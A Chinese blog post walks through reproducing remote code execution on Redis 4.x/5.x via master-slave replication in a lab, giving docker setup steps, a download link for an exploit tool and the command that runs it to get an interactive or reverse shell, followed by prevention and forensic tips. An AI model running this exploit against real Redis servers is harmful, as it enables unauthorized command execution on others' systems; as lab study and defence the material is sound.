Redis基于主从复制的RCE

一 简介

主从复制的工作流程原理可以看下这篇文章,推荐看一下原理再做复现

Redis——Redis主从复制(工作流程详解)_stan Z的博客-CSDN博客_redis主从复制流程

 二 影响范围

优势:可用在高版本redis上,redis4.x;5.x都可以,这些高版本的利用方式像:写入公钥,启动任务项都做了安全防护,不可用。

三 漏洞复现

        1.环境搭建

                攻击机:192.168.1.145

                靶机:192.168.1.153

                这里使用centos7虚拟机使用docker拉取镜像进行搭建

                使用以下命令进行搭建

             docker search redis5.0 //查找镜像

             docker pull damonevking/redis5.0 //拉取下图第三个镜像

             docker run -p 6379:6379 -d damonevking/redis5.0 redis-serve  //运行容器,端口映射

出现以下图片说明搭建成功

         2.漏洞复现(交互式shell,以及反弹shell)

                 下载漏洞利用的工具

链接:https://pan.baidu.com/s/1gxJBpV1QWnrkTR_yZ81Izw 
提取码:wars

 使用以下命令运行脚本进行尝试攻击

python 3 redis-rce.py -r 192.168.1.153(目标Ip) -L 192.168.1.145(攻击机ip) -f exp.so

运行脚本后i为交互式shell,r为反弹shell

交互式shell如下图:

反弹shell如下,根据提示输入Ip,与监听的端口 (记得要在攻击机监听端口哦) 

四  预防方法

很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生

1. 主动关闭Redis的6379端口不对外开放;

2. 设置密码认证,通过远程访问Redis服务的都要经过密码认证才能访问。

五 入侵溯源思路

1. 查看redis服务器的网络连接,一般master会与slave通过6379端口进行通信,当redis子进程有未知的端口的网络连接时,多半都是恶意的反弹或者一些网络下载行为;

2. 查看命令历史,很可能攻击者会通过wget,或者curl这些网络工具下载一些恶意脚本到本地可写目录linux,常见的就是/mnt/目录下,着重审查。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值